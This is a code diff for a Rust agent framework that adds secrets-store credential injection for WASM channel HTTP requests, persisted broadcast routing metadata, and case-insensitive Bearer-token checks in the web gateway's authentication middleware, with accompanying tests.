// (e.g., xoxb- Slack token) triggers the leak detector — WASM never saw
|
||||
// the real value, so scanning the pre-injection state is correct.
|
||||
let leak_detector = LeakDetector::new();
|
||||
let header_vec: Vec<(String, String)> = headers
|
||||
.iter()
|
||||
@@ -279,6 +369,12 @@ impl near::agent::channel_host::Host for ChannelStoreData {
|
||||
.scan_http_request(&url, &header_vec, body.as_deref())
|
||||
.map_err(|e| format!("Potential secret leak blocked: {}", e))?;
|
||||
|
||||
// Inject pre-resolved host credentials (Bearer tokens, API keys, etc.)
|
||||
// after the leak scan so host-injected secrets don't trigger false positives.
|
||||
if let Some(host) = extract_host_from_url(&url) {
|
||||
self.inject_host_credentials(&host, &mut headers, &mut url);
|
||||
}
|
||||
|
||||
// Get the max response size from capabilities (default 10MB).
|
||||
let max_response_bytes = self
|
||||
.host_state
|
||||
@@ -553,6 +649,44 @@ pub struct WasmChannel {
|
||||
/// In-memory workspace store persisting writes across callback invocations.
|
||||
/// Ensures WASM channels can maintain state (e.g., polling offsets) between ticks.
|
||||
workspace_store: Arc<ChannelWorkspaceStore>,
|
||||
|
||||
/// Last-seen message metadata (contains chat_id for broadcast routing).
|
||||
/// Populated from incoming messages so `broadcast()` knows where to send.
|
||||
last_broadcast_metadata: Arc<tokio::sync::RwLock<Option<String>>>,
|
||||
|
||||
/// Settings store for persisting broadcast metadata across restarts.
|
||||
settings_store: Option<Arc<dyn crate::db::SettingsStore>>,
|
||||
|
||||
/// Secrets store for host-based credential injection.
|
||||
/// Used to pre-resolve credentials before each WASM callback.
|
||||
secrets_store: Option<Arc<dyn SecretsStore + Send + Sync>>,
|
||||
}
|
||||
|
||||
/// Update broadcast metadata in memory and persist to the settings store when
|
||||
/// it changes. Extracted as a free function so both the `WasmChannel` instance
|
||||
/// method and the static polling helper share one implementation.
|
||||
async fn do_update_broadcast_metadata(
|
||||
channel_name: &str,
|
||||
metadata: &str,
|
||||
last_broadcast_metadata: &tokio::sync::RwLock<Option<String>>,
|
||||
settings_store: Option<&Arc<dyn crate::db::SettingsStore>>,
|
||||
) {
|
||||
let mut guard = last_broadcast_metadata.write().await;
|
||||
let changed = guard.as_deref() != Some(metadata);
|
||||
*guard = Some(metadata.to_string());
|
||||
drop(guard);
|
||||
|
||||
if changed && let Some(store) = settings_store {
|
||||
let key = format!("channel_broadcast_metadata_{}", channel_name);
|
||||
let value = serde_json::Value::String(metadata.to_string());
|
||||
if let Err(e) = store.set_setting("default", &key, &value).await {
|
||||
tracing::warn!(
|
||||
channel = %channel_name,
|
||||
"Failed to persist broadcast metadata: {}",
|
||||
e
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl WasmChannel {
|
||||
@@ -563,6 +697,7 @@ impl WasmChannel {
|
||||
capabilities: ChannelCapabilities,
|
||||
config_json: String,
|
||||
pairing_store: Arc<PairingStore>,
|
||||
settings_store: Option<Arc<dyn crate::db::SettingsStore>>,
|
||||
) -> Self {
|
||||
let name = prepared.name.clone();
|
||||
let rate_limiter = ChannelEmitRateLimiter::new(capabilities.emit_rate_limit.clone());
|
||||
@@ -584,9 +719,22 @@ impl WasmChannel {
|
||||
typing_task: RwLock::new(None),
|
||||
pairing_store,
|
||||
workspace_store: Arc::new(ChannelWorkspaceStore::new()),
|
||||
last_broadcast_metadata: Arc::new(tokio::sync::RwLock::new(None)),
|
||||
settings_store,
|
||||
secrets_store: None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Set the secrets store for host-based credential injection.
|
||||
///
|
||||
/// When set, credentials declared in the channel's capabilities are
|
||||
/// automatically decrypted and injected into HTTP requests based on
|
||||
/// the target host (e.g., Bearer token for api.slack.com).
|
||||
pub fn with_secrets_store(mut self, store: Arc<dyn SecretsStore + Send + Sync>) -> Self {
|
||||
self.secrets_store = Some(store);
|
||||
self
|
||||
}
|
||||
|
||||
/// Update the channel config before starting.
|
||||
///
|
||||
/// Merges the provided values into the existing config JSON.
|
||||
@@ -631,6 +779,51 @@ impl WasmChannel {
|
||||
&self.name
|
||||
}
|
||||
|
||||
/// Settings key for persisted broadcast metadata.
|
||||
fn broadcast_metadata_key(&self) -> String {
|
||||
format!("channel_broadcast_metadata_{}", self.name)
|
||||
}
|
||||
|
||||
/// Update broadcast metadata in memory and persist if changed (best-effort).
|
||||
///
|
||||
/// Compares with the current value to avoid redundant DB writes on every
|
||||
/// incoming message (the chat_id rarely changes).
|
||||
async fn update_broadcast_metadata(&self, metadata: &str) {
|
||||
do_update_broadcast_metadata(
|
||||
&self.name,
|
||||
metadata,
|
||||
&self.last_broadcast_metadata,
|
||||
self.settings_store.as_ref(),
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
/// Load broadcast metadata from settings store on startup.
|
||||
async fn load_broadcast_metadata(&self) {
|
||||
if let Some(ref store) = self.settings_store {
|
||||
match store
|
||||
.get_setting("default", &self.broadcast_metadata_key())
|
||||
.await
|
||||
{
|
||||
Ok(Some(serde_json::Value::String(meta))) => {
|
||||
*self.last_broadcast_metadata.write().await = Some(meta);
|
||||
tracing::debug!(
|
||||
channel = %self.name,
|
||||
"Restored broadcast metadata from settings"
|
||||
);
|
||||
}
|
||||
Ok(_) => {}
|
||||
Err(e) => {
|
||||
tracing::warn!(
|
||||
channel = %self.name,
|
||||
"Failed to load broadcast metadata: {}",
|
||||
e
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Get the channel capabilities.
|
||||
pub fn capabilities(&self) -> &ChannelCapabilities {
|
||||
&self.capabilities
|
||||
@@ -685,6 +878,7 @@ impl WasmChannel {
|
||||
prepared: &PreparedChannelModule,
|
||||
capabilities: &ChannelCapabilities,
|
||||
credentials: HashMap<String, String>,
|
||||
host_credentials: Vec<ResolvedHostCredential>,
|
||||
pairing_store: Arc<PairingStore>,
|
||||
) -> Result<Store<ChannelStoreData>, WasmChannelError> {
|
||||
let engine = runtime.engine();
|
||||
@@ -696,6 +890,7 @@ impl WasmChannel {
|
||||
&prepared.name,
|
||||
capabilities.clone(),
|
||||
credentials,
|
||||
host_credentials,
|
||||
pairing_store,
|
||||
);
|
||||
let mut store = Store::new(engine, store_data);
|
||||
@@ -806,6 +1001,9 @@ impl WasmChannel {
|
||||
let timeout = self.runtime.config().callback_timeout;
|
||||
let channel_name = self.name.clone();
|
||||
let credentials = self.get_credentials().await;
|
||||
let host_credentials =
|
||||
resolve_channel_host_credentials(&self.capabilities, self.secrets_store.as_deref())
|
||||
.await;
|
||||
let pairing_store = self.pairing_store.clone();
|
||||
let workspace_store = self.workspace_store.clone();
|
||||
|
||||
@@ -817,6 +1015,7 @@ impl WasmChannel {
|
||||
&prepared,
|
||||
&capabilities,
|
||||
credentials,
|
||||
host_credentials,
|
||||
pairing_store,
|
||||
)?;
|
||||
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
|
||||
@@ -942,6 +1141,9 @@ impl WasmChannel {
|
||||
let capabilities = Self::inject_workspace_reader(&self.capabilities, &self.workspace_store);
|
||||
let timeout = self.runtime.config().callback_timeout;
|
||||
let credentials = self.get_credentials().await;
|
||||
let host_credentials =
|
||||
resolve_channel_host_credentials(&self.capabilities, self.secrets_store.as_deref())
|
||||
.await;
|
||||
let pairing_store = self.pairing_store.clone();
|
||||
let workspace_store = self.workspace_store.clone();
|
||||
|
||||
@@ -962,6 +1164,7 @@ impl WasmChannel {
|
||||
&prepared,
|
||||
&capabilities,
|
||||
credentials,
|
||||
host_credentials,
|
||||
pairing_store,
|
||||
)?;
|
||||
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
|
||||
@@ -1041,6 +1244,9 @@ impl WasmChannel {
|
||||
let timeout = self.runtime.config().callback_timeout;
|
||||
let channel_name = self.name.clone();
|
||||
let credentials = self.get_credentials().await;
|
||||
let host_credentials =
|
||||
resolve_channel_host_credentials(&self.capabilities, self.secrets_store.as_deref())
|
||||
.await;
|
||||
let pairing_store = self.pairing_store.clone();
|
||||
let workspace_store = self.workspace_store.clone();
|
||||
|
||||
@@ -1052,6 +1258,7 @@ impl WasmChannel {
|
||||
&prepared,
|
||||
&capabilities,
|
||||
credentials,
|
||||
host_credentials,
|
||||
pairing_store,
|
||||
)?;
|
||||
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
|
||||
@@ -1142,6 +1349,9 @@ impl WasmChannel {
|
||||
let timeout = self.runtime.config().callback_timeout;
|
||||
let channel_name = self.name.clone();
|
||||
let credentials = self.get_credentials().await;
|
||||
let host_credentials =
|
||||
resolve_channel_host_credentials(&self.capabilities, self.secrets_store.as_deref())
|
||||
.await;
|
||||
let pairing_store = self.pairing_store.clone();
|
||||
|
||||
// Prepare response data
|
||||
@@ -1161,6 +1371,7 @@ impl WasmChannel {
|
||||
&prepared,
|
||||
&capabilities,
|
||||
credentials,
|
||||
host_credentials,
|
||||
pairing_store,
|
||||
)?;
|
||||
|
||||
@@ -1255,6 +1466,9 @@ impl WasmChannel {
|
||||
let timeout = self.runtime.config().callback_timeout;
|
||||
let channel_name = self.name.clone();
|
||||
let credentials = self.get_credentials().await;
|
||||
let host_credentials =
|
||||
resolve_channel_host_credentials(&self.capabilities, self.secrets_store.as_deref())
|
||||
.await;
|
||||
let pairing_store = self.pairing_store.clone();
|
||||
|
||||
let wit_update = status_to_wit(status, metadata);
|
||||
@@ -1266,6 +1480,7 @@ impl WasmChannel {
|
||||
&prepared,
|
||||
&capabilities,
|
||||
credentials,
|
||||
host_credentials,
|
||||
pairing_store,
|
||||
)?;
|
||||
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
|
||||
@@ -1312,6 +1527,7 @@ impl WasmChannel {
|
||||
prepared: &Arc<PreparedChannelModule>,
|
||||
capabilities: &ChannelCapabilities,
|
||||
credentials: &RwLock<HashMap<String, String>>,
|
||||
host_credentials: Vec<ResolvedHostCredential>,
|
||||
pairing_store: Arc<PairingStore>,
|
||||
timeout: Duration,
|
||||
wit_update: wit_channel::StatusUpdate,
|
||||
@@ -1333,6 +1549,7 @@ impl WasmChannel {
|
||||
&prepared,
|
||||
&capabilities,
|
||||
credentials_snapshot,
|
||||
host_credentials,
|
||||
pairing_store,
|
||||
)?;
|
||||
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
|
||||
@@ -1414,6 +1631,13 @@ impl WasmChannel {
|
||||
let prepared = Arc::clone(&self.prepared);
|
||||
let capabilities = self.capabilities.clone();
|
||||
let credentials = self.credentials.clone();
|
||||
// Pre-resolve host credentials once for the lifetime of the repeater.
|
||||
// Channels tokens rarely change, so a snapshot per-repeater is correct.
|
||||
let repeater_host_credentials = resolve_channel_host_credentials(
|
||||
&self.capabilities,
|
||||
self.secrets_store.as_deref(),
|
||||
)
|
||||
.await;
|
||||
let pairing_store = self.pairing_store.clone();
|
||||
let callback_timeout = self.runtime.config().callback_timeout;
|
||||
let wit_update = status_to_wit(&status, metadata);
|
||||
@@ -1427,6 +1651,7 @@ impl WasmChannel {
|
||||
interval.tick().await;
|
||||
|
||||
let wit_update_clone = clone_wit_status_update(&wit_update);
|
||||
let hc = repeater_host_credentials.clone();
|
||||
|
||||
if let Err(e) = Self::execute_status(
|
||||
&channel_name,
|
||||
@@ -1434,6 +1659,7 @@ impl WasmChannel {
|
||||
&prepared,
|
||||
&capabilities,
|
||||
&credentials,
|
||||
hc,
|
||||
pairing_store.clone(),
|
||||
callback_timeout,
|
||||
wit_update_clone,
|
||||
@@ -1613,6 +1839,8 @@ impl WasmChannel {
|
||||
// Parse metadata JSON
|
||||
if let Ok(metadata) = serde_json::from_str(&emitted.metadata_json) {
|
||||
msg = msg.with_metadata(metadata);
|
||||
// Store for broadcast routing (chat_id etc.)
|
||||
self.update_broadcast_metadata(&emitted.metadata_json).await;
|
||||
}
|
||||
|
||||
// Send to stream
|
||||
@@ -1649,13 +1877,17 @@ impl WasmChannel {
|
||||
let channel_name = self.name.clone();
|
||||
let runtime = Arc::clone(&self.runtime);
|
||||
let prepared = Arc::clone(&self.prepared);
|
||||
let capabilities = self.capabilities.clone();
|
||||
let poll_capabilities = self.capabilities.clone();
|
||||
let capabilities = Self::inject_workspace_reader(&self.capabilities, &self.workspace_store);
|
||||
let message_tx = self.message_tx.clone();
|
||||
let rate_limiter = self.rate_limiter.clone();
|
||||
let credentials = self.credentials.clone();
|
||||
let pairing_store = self.pairing_store.clone();
|
||||
let callback_timeout = self.runtime.config().callback_timeout;
|
||||
let workspace_store = self.workspace_store.clone();
|
||||
let last_broadcast_metadata = self.last_broadcast_metadata.clone();
|
||||
let settings_store = self.settings_store.clone();
|
||||
let poll_secrets_store = self.secrets_store.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let mut interval_timer = tokio::time::interval(interval);
|
||||
@@ -1669,6 +1901,13 @@ impl WasmChannel {
|
||||
"Polling tick - calling on_poll"
|
||||
);
|
||||
|
||||
// Pre-resolve host credentials for this tick
|
||||
let host_credentials = resolve_channel_host_credentials(
|
||||
&poll_capabilities,
|
||||
poll_secrets_store.as_deref(),
|
||||
)
|
||||
.await;
|
||||
|
||||
// Execute on_poll with fresh WASM instance
|
||||
let result = Self::execute_poll(
|
||||
&channel_name,
|
||||
@@ -1676,6 +1915,7 @@ impl WasmChannel {
|
||||
&prepared,
|
||||
&capabilities,
|
||||
&credentials,
|
||||
host_credentials,
|
||||
pairing_store.clone(),
|
||||
callback_timeout,
|
||||
&workspace_store,
|
||||
@@ -1690,6 +1930,8 @@ impl WasmChannel {
|
||||
emitted_messages,
|
||||
&message_tx,
|
||||
&rate_limiter,
|
||||
&last_broadcast_metadata,
|
||||
settings_store.as_ref(),
|
||||
).await {
|
||||
tracing::warn!(
|
||||
channel = %channel_name,
|
||||
@@ -1731,6 +1973,7 @@ impl WasmChannel {
|
||||
prepared: &Arc<PreparedChannelModule>,
|
||||
capabilities: &ChannelCapabilities,
|
||||
credentials: &RwLock<HashMap<String, String>>,
|
||||
host_credentials: Vec<ResolvedHostCredential>,
|
||||
pairing_store: Arc<PairingStore>,
|
||||
timeout: Duration,
|
||||
workspace_store: &Arc<ChannelWorkspaceStore>,
|
||||
@@ -1759,6 +2002,7 @@ impl WasmChannel {
|
||||
&prepared,
|
||||
&capabilities,
|
||||
credentials_snapshot,
|
||||
host_credentials,
|
||||
pairing_store,
|
||||
)?;
|
||||
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
|
||||
@@ -1813,6 +2057,8 @@ impl WasmChannel {
|
||||
messages: Vec<EmittedMessage>,
|
||||
message_tx: &RwLock<Option<mpsc::Sender<IncomingMessage>>>,
|
||||
rate_limiter: &RwLock<ChannelEmitRateLimiter>,
|
||||
last_broadcast_metadata: &tokio::sync::RwLock<Option<String>>,
|
||||
settings_store: Option<&Arc<dyn crate::db::SettingsStore>>,
|
||||
) -> Result<(), WasmChannelError> {
|
||||
tracing::info!(
|
||||
channel = %channel_name,
|
||||
@@ -1858,6 +2104,14 @@ impl WasmChannel {
|
||||
// Parse metadata JSON
|
||||
if let Ok(metadata) = serde_json::from_str(&emitted.metadata_json) {
|
||||
msg = msg.with_metadata(metadata);
|
||||
// Store for broadcast routing (chat_id etc.)
|
||||
do_update_broadcast_metadata(
|
||||
channel_name,
|
||||
&emitted.metadata_json,
|
||||
last_broadcast_metadata,
|
||||
settings_store,
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// Send to stream
|
||||
@@ -1893,6 +2147,9 @@ impl Channel for WasmChannel {
|
||||
}
|
||||
|
||||
async fn start(&self) -> Result<MessageStream, ChannelError> {
|
||||
// Restore broadcast metadata from settings (survives restarts)
|
||||
self.load_broadcast_metadata().await;
|
||||
|
||||
// Create message channel
|
||||
let (tx, rx) = mpsc::channel(256);
|
||||
*self.message_tx.write().await = Some(tx);
|
||||
@@ -1982,6 +2239,8 @@ impl Channel for WasmChannel {
|
||||
// The original metadata contains channel-specific routing info (e.g., Telegram chat_id)
|
||||
// that the WASM channel needs to send the reply to the correct destination.
|
||||
let metadata_json = serde_json::to_string(&msg.metadata).unwrap_or_default();
|
||||
// Store for broadcast routing (chat_id etc.)
|
||||
self.update_broadcast_metadata(&metadata_json).await;
|
||||
self.call_on_respond(
|
||||
msg.id,
|
||||
&response.content,
|
||||
@@ -1997,6 +2256,34 @@ impl Channel for WasmChannel {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn broadcast(
|
||||
&self,
|
||||
_user_id: &str,
|
||||
response: OutgoingResponse,
|
||||
) -> Result<(), ChannelError> {
|
||||
let metadata_json = self
|
||||
.last_broadcast_metadata
|
||||
.read()
|
||||
.await
|
||||
.clone()
|
||||
.ok_or_else(|| ChannelError::SendFailed {
|
||||
name: self.name.clone(),
|
||||
reason: "No messages received yet — no chat_id available for broadcast".into(),
|
||||
})?;
|
||||
|
||||
self.call_on_respond(
|
||||
uuid::Uuid::new_v4(),
|
||||
&response.content,
|
||||
response.thread_id.as_deref(),
|
||||
&metadata_json,
|
||||
)
|
||||
.await
|
||||
.map_err(|e| ChannelError::SendFailed {
|
||||
name: self.name.clone(),
|
||||
reason: e.to_string(),
|
||||
})
|
||||
}
|
||||
|
||||
async fn send_status(
|
||||
&self,
|
||||
status: StatusUpdate,
|
||||
@@ -2101,6 +2388,14 @@ impl Channel for SharedWasmChannel {
|
||||
self.inner.respond(msg, response).await
|
||||
}
|
||||
|
||||
async fn broadcast(
|
||||
&self,
|
||||
user_id: &str,
|
||||
response: OutgoingResponse,
|
||||
) -> Result<(), ChannelError> {
|
||||
self.inner.broadcast(user_id, response).await
|
||||
}
|
||||
|
||||
async fn send_status(
|
||||
&self,
|
||||
status: StatusUpdate,
|
||||
@@ -2352,6 +2647,97 @@ impl HttpResponse {
|
||||
}
|
||||
}
|
||||
|
||||
/// Extract the hostname from a URL string.
|
||||
///
|
||||
/// Returns `None` for malformed URLs or non-HTTP(S) schemes.
|
||||
fn extract_host_from_url(url: &str) -> Option<String> {
|
||||
let parsed = url::Url::parse(url).ok()?;
|
||||
if !matches!(parsed.scheme(), "http" | "https") {
|
||||
return None;
|
||||
}
|
||||
parsed.host_str().map(|h| {
|
||||
h.strip_prefix('[')
|
||||
.and_then(|v| v.strip_suffix(']'))
|
||||
.unwrap_or(h)
|
||||
.to_lowercase()
|
||||
})
|
||||
}
|
||||
|
||||
/// Pre-resolve host credentials for all HTTP capability mappings.
|
||||
///
|
||||
/// Called once per callback (in async context, before spawn_blocking) so the
|
||||
/// synchronous WASM host function can inject credentials without needing async
|
||||
/// access to the secrets store.
|
||||
///
|
||||
/// Silently skips credentials that can't be resolved (e.g., missing secrets).
|
||||
/// The channel will get a 401/403 from the API, which is the expected UX when
|
||||
/// auth hasn't been configured yet.
|
||||
async fn resolve_channel_host_credentials(
|
||||
capabilities: &ChannelCapabilities,
|
||||
store: Option<&(dyn SecretsStore + Send + Sync)>,
|
||||
) -> Vec<ResolvedHostCredential> {
|
||||
let store = match store {
|
||||
Some(s) => s,
|
||||
None => return Vec::new(),
|
||||
};
|
||||
|
||||
let http_cap = match &capabilities.tool_capabilities.http {
|
||||
Some(cap) => cap,
|
||||
None => return Vec::new(),
|
||||
};
|
||||
|
||||
if http_cap.credentials.is_empty() {
|
||||
return Vec::new();
|
||||
}
|
||||
|
||||
let mut resolved = Vec::new();
|
||||
|
||||
for mapping in http_cap.credentials.values() {
|
||||
// Skip UrlPath credentials; they're handled by placeholder substitution
|
||||
if matches!(
|
||||
mapping.location,
|
||||
crate::secrets::CredentialLocation::UrlPath { .. }
|
||||
) {
|
||||
continue;
|
||||
}
|
||||
|
||||
let secret = match store.get_decrypted("default", &mapping.secret_name).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => {
|
||||
tracing::debug!(
|
||||
secret_name = %mapping.secret_name,
|
||||
error = %e,
|
||||
"Could not resolve credential for WASM channel (auth may not be configured)"
|
||||
);
|
||||
continue;
|
||||
}
|
||||
};
|
||||
|
||||
let mut injected = InjectedCredentials::empty();
|
||||
inject_credential(&mut injected, &mapping.location, &secret);
|
||||
|
||||
if injected.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
resolved.push(ResolvedHostCredential {
|
||||
host_patterns: mapping.host_patterns.clone(),
|
||||
headers: injected.headers,
|
||||
query_params: injected.query_params,
|
||||
secret_value: secret.expose().to_string(),
|
||||
});
|
||||
}
|
||||
|
||||
if !resolved.is_empty() {
|
||||
tracing::debug!(
|
||||
count = resolved.len(),
|
||||
"Pre-resolved host credentials for WASM channel execution"
|
||||
);
|
||||
}
|
||||
|
||||
resolved
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use std::sync::Arc;
|
||||
@@ -2384,6 +2770,7 @@ mod tests {
|
||||
capabilities,
|
||||
"{}".to_string(),
|
||||
Arc::new(PairingStore::new()),
|
||||
None,
|
||||
)
|
||||
}
|
||||
|
||||
@@ -2461,6 +2848,7 @@ mod tests {
|
||||
&prepared,
|
||||
&capabilities,
|
||||
&credentials,
|
||||
Vec::new(), // no host credentials in test
|
||||
Arc::new(PairingStore::new()),
|
||||
timeout,
|
||||
&workspace_store,
|
||||
@@ -2489,11 +2877,14 @@ mod tests {
|
||||
EmittedMessage::new("user2", "Another message"),
|
||||
];
|
||||
|
||||
let last_broadcast_metadata = Arc::new(tokio::sync::RwLock::new(None));
|
||||
let result = WasmChannel::dispatch_emitted_messages(
|
||||
"test-channel",
|
||||
messages,
|
||||
&message_tx,
|
||||
&rate_limiter,
|
||||
&last_broadcast_metadata,
|
||||
None,
|
||||
)
|
||||
.await;
|
||||
|
||||
@@ -2527,11 +2918,14 @@ mod tests {
|
||||
let messages = vec![EmittedMessage::new("user1", "Hello!")];
|
||||
|
||||
// Should return Ok even without a sender (logs warning but doesn't fail)
|
||||
let last_broadcast_metadata = Arc::new(tokio::sync::RwLock::new(None));
|
||||
let result = WasmChannel::dispatch_emitted_messages(
|
||||
"test-channel",
|
||||
messages,
|
||||
&message_tx,
|
||||
&rate_limiter,
|
||||
&last_broadcast_metadata,
|
||||
None,
|
||||
)
|
||||
.await;
|
||||
|
||||
@@ -2562,6 +2956,7 @@ mod tests {
|
||||
capabilities,
|
||||
"{}".to_string(),
|
||||
Arc::new(PairingStore::new()),
|
||||
None,
|
||||
);
|
||||
|
||||
// Start the channel
|
||||
@@ -3309,6 +3704,7 @@ mod tests {
|
||||
"test",
|
||||
ChannelCapabilities::default(),
|
||||
creds,
|
||||
Vec::new(),
|
||||
Arc::new(PairingStore::new()),
|
||||
);
|
||||
|
||||
@@ -3340,6 +3736,7 @@ mod tests {
|
||||
"test",
|
||||
ChannelCapabilities::default(),
|
||||
std::collections::HashMap::new(),
|
||||
Vec::new(),
|
||||
Arc::new(PairingStore::new()),
|
||||
);
|
||||
|
||||
@@ -3347,6 +3744,50 @@ mod tests {
|
||||
assert_eq!(store.redact_credentials(input), input);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_redact_credentials_url_encoded() {
|
||||
use super::{ChannelStoreData, ResolvedHostCredential};
|
||||
|
||||
// Credential with characters that get URL-encoded
|
||||
let mut creds = std::collections::HashMap::new();
|
||||
creds.insert(
|
||||
"API_KEY".to_string(),
|
||||
"key with spaces&special=chars".to_string(),
|
||||
);
|
||||
|
||||
let host_creds = vec![ResolvedHostCredential {
|
||||
host_patterns: vec!["api.example.com".to_string()],
|
||||
headers: std::collections::HashMap::new(),
|
||||
query_params: std::collections::HashMap::new(),
|
||||
secret_value: "host secret+value".to_string(),
|
||||
}];
|
||||
|
||||
let store = ChannelStoreData::new(
|
||||
1024 * 1024,
|
||||
"test",
|
||||
ChannelCapabilities::default(),
|
||||
creds,
|
||||
host_creds,
|
||||
Arc::new(PairingStore::new()),
|
||||
);
|
||||
|
||||
// Error containing URL-encoded form of the credential
|
||||
let error = "request failed: https://api.example.com?key=key%20with%20spaces%26special%3Dchars&host=host%20secret%2Bvalue";
|
||||
|
||||
let redacted = store.redact_credentials(error);
|
||||
|
||||
assert!(
|
||||
!redacted.contains("key%20with%20spaces"),
|
||||
"URL-encoded credential should be redacted, got: {}",
|
||||
redacted
|
||||
);
|
||||
assert!(
|
||||
!redacted.contains("host%20secret%2Bvalue"),
|
||||
"URL-encoded host credential should be redacted, got: {}",
|
||||
redacted
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_redact_credentials_skips_empty_values() {
|
||||
use super::ChannelStoreData;
|
||||
@@ -3359,6 +3800,7 @@ mod tests {
|
||||
"test",
|
||||
ChannelCapabilities::default(),
|
||||
creds,
|
||||
Vec::new(),
|
||||
Arc::new(PairingStore::new()),
|
||||
);
|
||||
|
||||
|
||||
+131
-3
@@ -24,11 +24,13 @@ pub async fn auth_middleware(
|
||||
request: Request,
|
||||
next: Next,
|
||||
) -> Response {
|
||||
// Try Authorization header first (constant-time comparison)
|
||||
// Try Authorization header first (constant-time comparison).
|
||||
// RFC 6750 Section 2.1: auth-scheme comparison is case-insensitive.
|
||||
if let Some(auth_header) = headers.get("authorization")
|
||||
&& let Ok(value) = auth_header.to_str()
|
||||
&& let Some(token) = value.strip_prefix("Bearer ")
|
||||
&& bool::from(token.as_bytes().ct_eq(auth.token.as_bytes()))
|
||||
&& value.len() > 7
|
||||
&& value[..7].eq_ignore_ascii_case("Bearer ")
|
||||
&& bool::from(value.as_bytes()[7..].ct_eq(auth.token.as_bytes()))
|
||||
{
|
||||
return next.run(request).await;
|
||||
}
|
||||
@@ -59,4 +61,130 @@ mod tests {
|
||||
let cloned = state.clone();
|
||||
assert_eq!(cloned.token, "test-token");
|
||||
}
|
||||
|
||||
// === QA Plan - Web gateway auth tests ===
|
||||
|
||||
use axum::Router;
|
||||
use axum::body::Body;
|
||||
use axum::middleware;
|
||||
use axum::routing::get;
|
||||
use tower::ServiceExt;
|
||||
|
||||
async fn dummy_handler() -> &'static str {
|
||||
"ok"
|
||||
}
|
||||
|
||||
fn test_app(token: &str) -> Router {
|
||||
let state = AuthState {
|
||||
token: token.to_string(),
|
||||
};
|
||||
Router::new()
|
||||
.route("/test", get(dummy_handler))
|
||||
.layer(middleware::from_fn_with_state(state, auth_middleware))
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_valid_bearer_token_passes() {
|
||||
let app = test_app("secret-token");
|
||||
let req = Request::builder()
|
||||
.uri("/test")
|
||||
.header("Authorization", "Bearer secret-token")
|
||||
.body(Body::empty())
|
||||
.unwrap();
|
||||
let resp = app.oneshot(req).await.unwrap();
|
||||
assert_eq!(resp.status(), StatusCode::OK);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_invalid_bearer_token_rejected() {
|
||||
let app = test_app("secret-token");
|
||||
let req = Request::builder()
|
||||
.uri("/test")
|
||||
.header("Authorization", "Bearer wrong-token")
|
||||
.body(Body::empty())
|
||||
.unwrap();
|
||||
let resp = app.oneshot(req).await.unwrap();
|
||||
assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_missing_auth_header_falls_through_to_query() {
|
||||
let app = test_app("secret-token");
|
||||
let req = Request::builder()
|
||||
.uri("/test?token=secret-token")
|
||||
.body(Body::empty())
|
||||
.unwrap();
|
||||
let resp = app.oneshot(req).await.unwrap();
|
||||
assert_eq!(resp.status(), StatusCode::OK);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_query_param_invalid_token_rejected() {
|
||||
let app = test_app("secret-token");
|
||||
let req = Request::builder()
|
||||
.uri("/test?token=wrong-token")
|
||||
.body(Body::empty())
|
||||
.unwrap();
|
||||
let resp = app.oneshot(req).await.unwrap();
|
||||
assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_no_auth_at_all_rejected() {
|
||||
let app = test_app("secret-token");
|
||||
let req = Request::builder().uri("/test").body(Body::empty()).unwrap();
|
||||
let resp = app.oneshot(req).await.unwrap();
|
||||
assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_bearer_prefix_case_insensitive() {
|
||||
// RFC 6750 Section 2.1: auth-scheme comparison must be case-insensitive.
|
||||
let app = test_app("secret-token");
|
||||
let req = Request::builder()
|
||||
.uri("/test")
|
||||
.header("Authorization", "bearer secret-token")
|
||||
.body(Body::empty())
|
||||
.unwrap();
|
||||
let resp = app.oneshot(req).await.unwrap();
|
||||
assert_eq!(resp.status(), StatusCode::OK);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_bearer_prefix_mixed_case() {
|
||||
let app = test_app("secret-token");
|
||||
let req = Request::builder()
|
||||
.uri("/test")
|
||||
.header("Authorization", "BEARER secret-token")
|
||||
.body(Body::empty())
|
||||
.unwrap();
|
||||
let resp = app.oneshot(req).await.unwrap();
|
||||
assert_eq!(resp.status(), StatusCode::OK);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_empty_bearer_token_rejected() {
|
||||
let app = test_app("secret-token");
|
||||
let req = Request::builder()
|
||||
.uri("/test")
|
||||
.header("Authorization", "Bearer ")
|
||||
.body(Body::empty())
|
||||
.unwrap();
|
||||
let resp = app.oneshot(req).await.unwrap();
|
||||
assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_token_with_whitespace_rejected() {
|
||||
// Extra space after "Bearer " means the token value starts with a space,
|
||||
// which should not match the expected token.
|
||||
let app = test_app("secret-token");
|
||||
let req = Request::builder()
|
||||
.uri("/test")
|
||||
.header("Authorization", "Bearer secret-token")
|
||||
.body(Body::empty())
|
||||
.unwrap();
|
||||
